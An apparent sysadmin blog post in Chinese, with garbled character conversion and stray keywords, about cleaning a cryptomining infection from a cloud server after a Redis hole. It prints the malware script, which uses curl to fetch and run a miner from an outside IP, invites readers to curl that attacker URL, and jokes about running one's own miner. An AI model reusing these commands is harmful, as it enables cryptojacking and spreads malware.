線上服務器用的是某訊雲的,歡快的完美運行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。忽然一則噩耗從前線傳來:網站不能訪問了。redis
此項目是我負責,我以150+的手速當即打開了服務器,看到Tomcat掛了,而後順其天然的重啓,啓動過程當中直接被killed,再試試數據庫,一樣沒成功,屢次嘗試甚至重啓機器無果。機制的我打了個top,出現如下內容:數據庫
這是誰運行的程序?無論三七二十一先殺掉再說,由於它就是Tomcat等程序啓動不了的元兇。然而並無什麼卵用,過一會再看那個東西又跑出來佔cpu。懷疑是個定時任務:json
什麼鬼,是個圖片?當即訪問了一下:安全
好尷尬,可是心思細膩的我早知道沒這麼簡單,確定只是假裝,crul過去是下面的腳本,過程就是在挖礦:服務器
#!/bin/sh pkill -9 142.4.124.164 pkill -9 192.99.56.117 pkill -9 jva pkill -f ./atd pkill -f /tmp/wa/httpd.conf pkill -f 108.61.186.224 pkill -f 128.199.86.57 pkill -f 67.231.243.10 pkill -f 142.4.124.164 pkill -f 192.99.56.117 pkill -f 45.76.102.45 pkill -f AnXqV.yam pkill -f BI5zj pkill -f Carbon pkill -f Duck.sh pkill -f Guard.sh ...中間省略 /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null & fi ps -fe|grep -w suppoie |grep -v grep if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1 chmod 777 /var/tmp/suppoie cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$((($proc+1)/2)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null & sleep 3 fi if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2 chmod 777 /var/tmp/suppoie cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$((($proc+1)/2)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null & fi echo "runing....."
有興趣的同窗想查看以上完整源代碼,命令行運行下面指令(不分操做系統,方便安全無污染):運維
curl 192.99.142.235:8220/logo3.jpg
既然知道它是個定時任務,那就先取消了它,而且看看它是誰在運行:ssh
殺掉,找到存放目錄:curl
進入臨時目錄:網站
被我發現配置文件了,先來看看內容:ui
虎軀一震,發現了很多信息啊,user是他的server的登陸用戶,下面是密碼,只惋惜加密過,應該找不到對方。算了,大度的我先不和你計較。幹掉這兩個文件後再查看top:
解決辦法
找到寄生的目錄,通常都會在tmp裏,我這個是在/var/tmp/。首先把crontab幹掉,殺掉進程,再刪除產生的文件。啓動Tomcat等程序,大功告成!
等等,這遠遠不夠,考慮到能被拿去挖礦的前提下你的服務器都已經被黑客入侵了,修復漏洞纔對,否則你殺掉進程刪掉文件後,黑客後門進來history一敲,都知道你作了啥修復手段。
因此上面辦法治標不治本,我後續作了如下工做:
1.把全部軟件升級到新版本,修復 redis 的後門,配置bind選項, 限定能夠鏈接Redis服務器的IP,並修改redis的默認端口6379。配置AUTH, 設置密碼,密碼會以明文方式保存在redis配置文件中。
2.修改全部軟件默認端口號
3.打開ssh/authorized_keys, 刪除不認識的密鑰
4.刪除用戶列表中陌生的賬號
5.封了他的ip
6.SSH使用密鑰登陸並禁止口令登陸(這個通常是加運維一我的的祕鑰)
木馬緣由,是redis漏洞致使:
http://blog.jobbole.com/94518/
最好的方式:將主機鏡像,找出病毒木馬,分析入侵緣由。檢查業務程序,重裝系統,修復漏洞,再從新部署系統。
寫在最後,網友提供的一勞永逸終極解決辦法:
把你本身的挖礦腳本掛上去運行,這樣別人就算掛腳本也跑不起來了。